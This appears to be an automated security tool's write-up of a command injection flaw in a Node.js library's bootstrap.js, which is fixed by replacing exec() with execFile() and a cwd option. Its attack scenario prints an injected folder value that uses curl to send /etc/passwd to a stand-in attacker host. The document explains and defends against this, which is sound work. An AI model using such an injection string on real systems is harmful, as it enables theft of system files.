How Command Injection Happens in Node.js child_process and How to Fix It
The Vulnerability at a Glance
This is a command injection vulnerability (CWE-78) in Node.js, found in
bootstrap.jsat line 34. The root cause is the use ofexec()with a template literal string —`cd ${folder} && npm install`— which passes user-influenced input directly to a shell. The fix replacesexec()withexecFile('npm', ['install'], { cwd: folder }), which bypasses the shell entirely by passing arguments as an array and using thecwdoption to set the working directory, eliminating any possibility of shell metacharacter injection.
Introduction
The bootstrap.js file in this Node.js library handles a very practical task: running npm install across multiple project folders during pipeline setup and local development. It's the kind of utility script that developers write quickly, trust implicitly, and rarely revisit. But inside the installPackages() function, a single line of code created a high-severity security hole that could be exploited by anyone with influence over the folder variable.
At line 34, the original code looked like this:
const command = `cd ${folder} && npm install`;
exec(command, (error, stdout, stderr) => { ... });
This pattern — interpolating a variable directly into a shell command string and handing it to exec() — is one of the most common sources of command injection in Node.js applications. And because this is a library, the blast radius extends to every downstream consumer who installs and runs it.
The Vulnerability Explained
What Makes exec() Dangerous Here
Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. This is fundamentally different from execFile() or spawn(), which execute a binary directly without invoking a shell.
When you write:
const command = `cd ${folder} && npm install`;
exec(command, callback);
You are asking the operating system shell to interpret command as a shell script. The shell understands operators like &&, ;, |, $(), and backticks. If folder contains any of these characters, the shell will faithfully execute whatever comes after them.
A Concrete Attack Scenario
Imagine a scenario where the folders array is populated from an external source — a configuration file, an environment variable, a CI/CD pipeline parameter, or a package manifest. An attacker who can influence any of these inputs could supply a value like:
legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo
When this value is interpolated into the template literal and passed to exec(), the resulting shell command becomes:
cd legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo && npm install
The shell executes all three commands in sequence: changing directories, exfiltrating /etc/passwd to an attacker-controlled server, and then running npm install as if nothing happened. The callback receives no error, and the attack is invisible in normal logs.
Even without external input, if the folders array is ever extended to include paths derived from package names, repository names, or user-supplied configuration, this code becomes immediately exploitable.
Why This Is Especially Risky in a Library
The PR notes explicitly that this is a Node.js library — not a standalone application. Vulnerabilities in libraries are multiplied by the number of projects that depend on them. A developer who installs this package and runs bootstrap.js in a CI/CD environment with elevated permissions could unknowingly expose their entire build infrastructure to this attack pattern.
The Fix
Before: Shell Interpolation with exec()
// VULNERABLE: folder variable is interpolated into a shell command string
const command = `cd ${folder} && npm install`;
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
reject(error);
}
// ...
});
After: Shell Bypass with execFile()
// SAFE: no shell is invoked; arguments are passed as an array
execFile('npm', ['install'], { cwd: folder }, (error, stdout, stderr) => {
if (error) {
console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
reject(error);
}
// ...
});
Why This Fix Works
The change makes three specific improvements:
-
exec()→execFile():execFile()does not spawn a shell. It executes the binary (npm) directly. Without a shell, there is no interpreter to process metacharacters, operators, or subshell syntax. Thefoldervariable can contain&∨all it wants — those characters are never seen by a shell. -
Template literal → argument array: Instead of embedding
npm installin a string that a shell parses, the command and its arguments are passed as separate elements in an array:['install']. This is the structural equivalent of parameterized queries in SQL — the command and its data are kept separate at the API level. -
cd ${folder}→{ cwd: folder }: The original code usedcdas a shell built-in to change directories before runningnpm install. The fix uses thecwd(current working directory) option, which is a first-class feature of the Node.js child process API. This eliminates the need for any shell command at all, and thefoldervalue is passed as a filesystem path to the OS, not as a string to a shell interpreter.
The result is a function that is structurally immune to command injection, regardless of what value folder contains.
Prevention & Best Practices
1. Prefer execFile() or spawn() Over exec()
As a general rule in Node.js:
| Function | Spawns a shell? | Safe for user input? |
|---|---|---|
exec() |
✅ Yes | ❌ No |
execFile() |
❌ No | ✅ Yes (with array args) |
spawn() |
❌ No | ✅ Yes (with array args) |
If you find yourself reaching for exec(), ask whether you actually need shell features (pipes, redirects, globbing). If the answer is no — and it usually is — use execFile() or spawn() instead.
2. Never Interpolate Variables into Shell Command Strings
Template literals and string concatenation in shell commands are red flags:
// ❌ Dangerous patterns
exec(`cd ${userInput} && do-something`);
exec('process ' + userInput);
exec(`find ${dir} -name ${pattern}`);
// ✅ Safe patterns
execFile('do-something', [], { cwd: userInput });
execFile('find', [dir, '-name', pattern]);
3. Use cwd Instead of cd
Whenever you need to run a command in a specific directory, use the cwd option:
execFile('npm', ['install'], { cwd: targetDirectory }, callback);
This is cleaner, more readable, and eliminates an entire category of shell injection risk.
4. Validate and Allowlist Paths
If the folder values come from any external source, validate them before use:
const path = require('path');
const allowedBase = '/safe/base/directory';
function isSafePath(folder) {
const resolved = path.resolve(folder);
return resolved.startsWith(allowedBase);
}
5. Run Static Analysis in CI/CD
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add Semgrep or similar SAST tools to your CI pipeline to catch these patterns before they reach production:
# Example GitHub Actions step
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: p/javascript
6. Reference Standards
- OWASP: Command Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- Node.js Docs: child_process.execFile()
Key Takeaways
exec()with template literals is structurally unsafe: The line`cd ${folder} && npm install`ininstallPackages()handed shell interpretation power to whatever valuefolderheld — a dangerous assumption in any codebase.execFile()+ argument array = no shell, no injection: The fix inbootstrap.jsdoesn't just sanitize input — it eliminates the shell entirely, making the injection structurally impossible.cwdreplacescdsafely: Using{ cwd: folder }instead ofcd ${folder} &&removes the need for any shell command, reducing the attack surface to zero for directory navigation.- Library code deserves extra scrutiny: Because
bootstrap.jsis part of a library, this vulnerability multiplied across every downstream project. Utility scripts are not exempt from security review. - Static analysis catches this pattern reliably: Semgrep's
detect-child-processrule flagged this exact issue automatically, demonstrating that SAST tools can prevent this class of vulnerability from reaching production.
How Orbis AppSec Detected This
- Source: The
foldervariable ininstallPackages(), drawn from thefoldersarray which can be influenced by pipeline configuration or external input - Sink:
exec(command, callback)atbootstrap.js:34, wherecommandis the template literal`cd ${folder} && npm install` - Missing control: No sanitization, escaping, or validation of
folderbefore shell interpolation; no use of shell-bypass APIs - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Replaced
exec()withexecFile('npm', ['install'], { cwd: folder }), eliminating shell invocation and passing the directory as acwdoption rather than a shell string
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in bootstrap.js is a textbook example of how a convenience-driven coding pattern — using exec() with a template literal — can introduce serious security risk with very little visible warning. The code looked reasonable: change to a directory, run npm install. But the mechanism it used to accomplish that task (shell interpolation via exec()) created an injection surface that could be exploited to run arbitrary commands on any system where the script executes.
The fix is elegant precisely because it doesn't try to sanitize the input — it changes the mechanism. By switching to execFile() with an argument array and the cwd option, the shell is removed from the equation entirely. There is nothing left to inject into.
For Node.js developers, the lesson is clear: treat exec() with the same caution you'd apply to raw SQL string concatenation. Reach for execFile() or spawn() by default, use argument arrays, and let the OS handle path resolution through cwd. Your future self — and your downstream users — will thank you.